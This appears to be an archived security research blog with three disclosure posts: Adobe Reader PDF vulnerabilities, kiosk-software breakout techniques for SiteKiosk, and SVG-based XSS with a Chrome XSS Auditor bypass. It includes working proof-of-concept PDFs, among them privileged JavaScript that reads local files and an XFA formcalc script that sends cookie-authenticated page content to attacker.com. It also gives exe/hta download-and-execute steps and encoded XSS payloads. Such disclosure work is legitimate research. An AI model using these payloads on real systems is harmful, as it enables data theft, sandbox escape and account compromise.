Saturday, December 13, 2014

Multiple PDF Vulnerabilities - Text and Pictures on Steroids


/*UPDATE */
@irsdl brought two import links to my attention:
2010 formcalc: http://t.co/6OfGLa9Cu1
2013 XXE + SOP Bypass: http://t.co/VZMSVg3HtN

It seems like Adobe knew about the SOP issue since January 2013.
I rediscovered the SOP Bypass + formcalc feature.



I had the pleasure to talk at the HackPra in Bochum on 22.10 this year.
My topic was about Adobe Reader and the vulnerabilites I found in version 11.0.09. The Adobe PSIRT team asked me to wait until they released a patch for the presented issues.
Adobe was informed on the 7th of Oktober and now the patch finally arrived. The link of the hackpra talk will be posted here and on twitter(@insertscript) as soon as it is available on youtube.

Important Note: If you want to test a PoC, your IE needs to be configured to open PDFs inside the browser. Sometimes IE opens PDFs outside of the browser context, which breaks PoCs, which rely on this context.


GotoE or GotoR - No Protocol Restrictions

Status: Unfixed
Reality: 50% fixed

The PDF standards defines a list of valid ActionTypes. Two of them, GotoE and GotoR, are used to
tell PDF to load PDFs from a different location.
Adobe Readers does not enforce protocol restriction correctly, which makes it possible to change the location to
file:///,mk-its: etc. They fixed it for GotoR but GotoE still works.
In context of webbrowsers it gives you the possibility to iframe the local file system etc.
Javascript and VBscript were forbidden, so no XSS possibility :/
%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
7 0 obj
<<
 /Type /Action
/S /GoToE /F (file:///C:/) /D (Chapter 1)
>>
endobj
trailer
<<
/Root 1 0 R
>>


Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451)

Status: fixed
Reality: fixed

Before I am going to explain the vulnerability you should have a look at another vulnerability
in the privileged Javascript functions this year. It explains the concept of privileged Javascript very well
https://molnarg.github.io/cve-2014-0521/

There are two major steps to get privileged Javascript execution:
1) Get our function marked as a trusted or trust propagator function
2) After it is marked as a trust propagator, get it called by an already trusted function.

The first step is achieved via calling the function app.trustPropagatorFunction with a function as the parameter.
To be able to use it, you already need to be in a trusted code execution. It sounds unrealistic to pass all these requirements,
but one specific predefined function helped a lot. See yourself:














The only use of this function is to iterace over an object and mark all properties, which are functions, as a trustpropagator function.
Lets say, this wasn't the best idea ;)
The first major step is done.
Now we need to get a trusted function to call our marked function. If you are familiar with Javascript you know that this is not that difficult to achieve.
Lets have a look at the following pre defined function:
















We can influence doc.path.match and let it point to our trustedproperty function.
As soon as it gets called, we are in privileged Javascript mode, so we can read local files as an example.
The PoC reads a local file from C:\test.txt:



















Fix: It seems like Adobe disabled/protects app.trustPropagatorFunction, because it triggers a security exception now.


%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
7 0 obj
<<
 /Type /Action
/S /JavaScript
/JS (
function test(a)
{
app.beginPriv();
var file = '/c/test.txt';
var secret = util.stringFromStream(util.readFileIntoStream(file, false));
app.alert(secret);
app.endPriv();
}
obj={path: {match: test}, root: test};
obj=ANTrustPropagateAll(obj);
ANStartApproval(obj);
)
>>
endobj

trailer
<<
/Root 1 0 R
>>


Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)

Status: Fixed
Reality: Not Fixed

This one is about a simple XXE I discovered.
I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in
XMLData.parse. It was possible to use external entities and reference them.
I read the specification and it turns out there are more functions than "parse" to read XML.
I created a simple xml file, which references an url from the same domain and parsed it with loadXML.
It worked:









7 0 obj
<<
 /Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj

The Impact is limited because
 o) it is limited to same origin
 o) HTML Pages break the xml
 o) Dynamic Entities are not supported
 o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.


But it still can be used to read JSON.

Same origin policy bypass in Reader (CVE-2014-8453)

Status: fixed
Reality: fixed but same origin still vulnerable!

In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you
how powerful/terrifying PDF can be.
Many people know that PDF supports a scripting language called Javascript but there is another one.
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.
We can then use 'POST' to send the return content to our own server:

var content = GET("myfriends.php");
Post("http://attacker.com",content);

These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.

To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012

% modified by insertscript

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>
<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
     var content = GET("myfriends.php");
                   Post("http://attacker.com",content);
                </script>
            </event>
        </field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>

After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser
as a proxy (@beef still working on the module^^)

The bypass is really simple:

1. User A loads evil.pdf from http://attacker.com/evil.pdf
2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php
3. redirect.php redirects with 301 to http://facebook.com
4. Adobe reader will follow and read the response without looking for a crossdomain.xml.
5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php

This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too.

Tuesday, September 16, 2014

SiteKiosk - Breakout




SiteKiosk - Breakout

It has been a while since my last blog post, therefore I am going to share two possible bypasses for the software SiteKiosk on Windows. As the name suggests, it is a kiosk software ^^.
SiteKiosk is a software from Provision GmbH. It claims to have more than 250.000 installations world wide, which would make it to one of the most used software in the "Public Access Terminal Software" category.
It has a lot of features, but my only goal was to break out of the sandbox and start an external application.
In the end my findings produced a new beef modules.

Meet the enemy


Provision GmbH offers a trial version, which has nearly all features enabled. The only restriction is that it will sometimes annoy you with a 30 second timeout.
It uses IE as a rendering engine and has support for flash + PDF. So there is a lot to play with ;)

SiteKiosk greeting message

















The Bypasses

Step one: Get a file on the file system
Step two: Execute it!

Getting a file on the system

After some tests it turned out that SiteKiosk is pretty good at blocking any dialogs which are triggered by changing the location. It also blocks all of the handlers I tested like "its:" and "file:". Additionally it checks iframes too and blocks any dialogs.
But javascript is powerful and with this "power" comes the possibility to trigger downloads ;).
The function I am talking about is window.navigator.msSaveOrOpenBlob.
The first parameter is a blob, which represents the data. The second parameter is the file name

<script>
bb = new MSBlobBuilder();
bb.append("THE DATA");
window.navigator.msSaveOrOpenBlob(bb.getBlob(),"example.exe");
</script>

Click Download and the first step is done.

But there is another bypass, which is also really simple. I thought if javascript is able to trigger downloads, there is most likely another language, maybe a plugin, which could do the same.
Of course I am talking about flash and actionscript. Like javascript it can trigger a download dialog, which is not blocked by the sitekiosk sandbox. I will give an example code at the end of the text.
Next step, find a place to save the file and execute it.


Execution time

Javascript

So you can download file, whats next? There are different things you can do. In case of a download triggered by javascript, you need to find a location where you can save and execute an executable. I chose "C:\users\public\downloads". Most of the time the download dialog won't let you specify the location. To bypass this restriction, use shell:ProgramFiles in the address bar of the download dialog. It will change the address bar to "C:\Program Files". Now you can go back to C: and specify the location.

If you are lazy, you can trigger a download of a .hta file. HTA files are html applications, which are rendered by mshta.exe. Yes, by default it is not blocked. HTA are html files with all the power, which means they can execute any ActiveX Object. Additionally it does not matter where you save them, because they are interpreted by mshta.exe and not executed in the location they are saved (in contrast to .exe).

Flash

In case of flash you will see that after finishing the download there is no no run button and no dialog at all. In contrast to JavaScript, this behavior makes it more difficult to execute a file.
Another problem is that you can't do a double click in a download window, so you can't download a .exe, reopen the download window and double click it. But there is a way around this problem too.
To execute a .exe via a flash download do the following:
  1. Trigger the download via flash. Save the exe in any location.
  2. Trigger the download again. Rename the previously downloaded exe so that it will not be overwritten by the second download. So you end up with two executables in the same location.
  3. Open the download window a last time. But instead of specifying a location to save, you drag the icon of one executable into the other one. This will start the program and the other one is treated as an argument. It is like dragging a file into notepad.exe to open it. 

This trick only works for executables. But there is another way to start interpreted files like hta:

  1. Create on your local pc a lnk (a shortcut file), which points to "C:\windows\system32\mshta.exe". Trigger the download of this file via flash.
  2. Trigger the download of your hta script file. Save it in the same location as the previous downloaded file.
  3. Open the download window. Now you drag your .hta script file into the mshta.exe.lnk file. This will pass the file to the real mshta.exe, which is then executed. 

Protection

To protect your sitekiosk application you need to do 2 things.
First you need to block all possible script applications like mshta. This can be done with the System Security Assistent.
Second you need to lock down all location where it is possible to store and execute files. An example is C:\users\public\downloads.
















Wednesday, February 5, 2014

SVG Fun Time - Firefox SVG Vector + Bypassing Chrome XSS Auditor



I played around with SVG and the <use> element and found some interesting things, which I want to share. I do not know if anyone already posted some information about that. Let me know, if there is already information out there :)

======================
SVG - <use> element
======================

The <use> element is used in SVG to reuse other elements. It is mainly used in combination with <defs> and alike. However we are going to use it to reference elements in an external SVG file.
Elements are referenced by their id prepended with a '#' sign inside the xlink:href attribute of the <use> tag.
This needs to be done for external elements too.

Basically the structure looks like this:

test.html:
<svg>
<use xlink:href='external.svg#rectangle' />
</svg>

external.svg:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

The file external.svg starts with a <svg> tag with the id set to rectangle, which draws a rectangle by using the <rect> tag. It is possible to surround the <rect> element with a <a> tag, which creates a  Hyperlink. By using the JavaScript url scheme the click-able Hyperlink will execute JavaScript, when clicked.

Even if the SVG is loaded via a <use> tag, the JavaScript will be executed. It is important to note that it is only possible to load SVG files, which are residing on the same origin.
======================
FIREFOX
======================

Because it is mandatory that the loaded external SVG is same origin, this features seems not like a good XSS attack vector.
But Firefox really helps to improve this attack vector.
First of all, you can use the data: url scheme. It allows us to create a file internally, on the fly. It requires the correct mime-type, which is image/svg+xml. The mime-type is either followed by the payload or by the keyword base64. It specifies, that the data is base64 encoded, which helps avoiding problems breaking the HTML structure.
Now we do not have to rely on another file on the same server:

test.html:
<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd
mc+#rectangle" />
</svg>

Decoded base64 payload:
<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg" 
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>


Again the browser will display a black rectangle, which will alert the location when clicked.

But why bothering the victim to click anything. They never do what they should do ;).
<script> tags in external.svg are not parsed, but SVG supports the <foreignObject> element.
By specifying the required extensions attribute of this object, it is possible to load non SVG elements.
This means it is now possible to use <iframe>,<embed> and all the other supported HTML elements. We can try a bunch of elements to execute JavaScript.
I chose the <embed> tag + JavaScript URL scheme.


Assume the following SVG:
<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">

<script>alert(1)</script>

<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">

<embed xmlns="http://www.w3.org/1999/xhtml" 
src="javascript:alert(location)" />

</foreignObject>
</svg>

It will load via the <foreignObject> the embed tag, which uses a JavaScript URL scheme to execute JavaScript.
Again we base64 encode the payload to load it via the data: scheme.

test.html:
<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />
</svg>

In the case that test.html is opened in Firefox, it will alert the location.
So we have another vector in SVG to execute JavaScript :)

As a side not, the payload also contains a <script>alert(1)</script>, which should proof that <script> tags are not parsed.
 

======================
CHROME 
XSS Auditor Bypass
======================

Let us use this feature against Chrome. Chrome does not support the data: URL scheme inside the xlink:href attribute of the <use> tag.
Additionally I did not find a way to execute JavaScript without user interaction. 
But at least I can give you a Blink/Webkit XSS Auditor bypass with user interaction.
No Parameter Pollution is used and only one parameter is necessary. This is mentioned, because Blink/Webkit XSS Auditor does not catch XSS attacks, which are broken-up into two or more parameters.

Assume the following PHP script:
xss.php
<?php
echo "<body>";
echo $_GET['x'];
echo "</body>";
?>

The script is vulnerable to XSS.
But using a payload like 
http://vulnerabledoman.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg> will trigger the XSS Auditor.
So let us use the <use> element!


======================
Creating the
SVG on the fly
======================

We want to load another external SVG file, so we begin with <svg><use xlink:href=
But wait, it has to be same origin and we can't use the data scheme. How do we get a file on the server?
It is simple, we use the XSS vulnerability twice in a row!

First we build the URL, which crafts the the SVG, which contains the Javascript URL scheme:
http://vulnerabledomain.com/xss.php?
x=<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100" />
</a>
</svg>
If you paste this URL (with the correct ip;) into a browser, with no XSS filter, it will display the black rectangle again. But I already mentioned, that
XSS Chrome Auditor will catch this attack. Let us continue.

Now we are going to use the created SVG file (green URL) in the <use> element. The now crafted URL will look like this:
http://vulnerabledomain.com/xss.php?
x=<svg><use height=200 width=200
xlink:href='http://vulnerabledomain.com/xss.php
?x=<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100"/>
</a></svg>#rectangle'/></svg>

Do not forget to url encode:
http://vulnerabledomain.com/xss.php?
x=%3Csvg%3E%3Cuse%20height=200%20width=200%20
xlink:href=%27http://vulnerabledomain.com/xss.php?
x=%3Csvg%20id%3D%22rectangle%22%20
xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20
xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20
%20%20%20width%3D%22100%22%20height%3D%22100%22%3E
%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E
%3Crect%20class%3D%22blue%22%20x%3D%220%22%20
y%3D%220%22%20width%3D%22100%22
%20height%3D%22100%22%20%2F%3E
%3C%2Fa%3E
%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E

This will display the rectangle again, which will alert when clicked, but this time without triggering the XSS Auditor :)
Hope you enjoyed my bypass.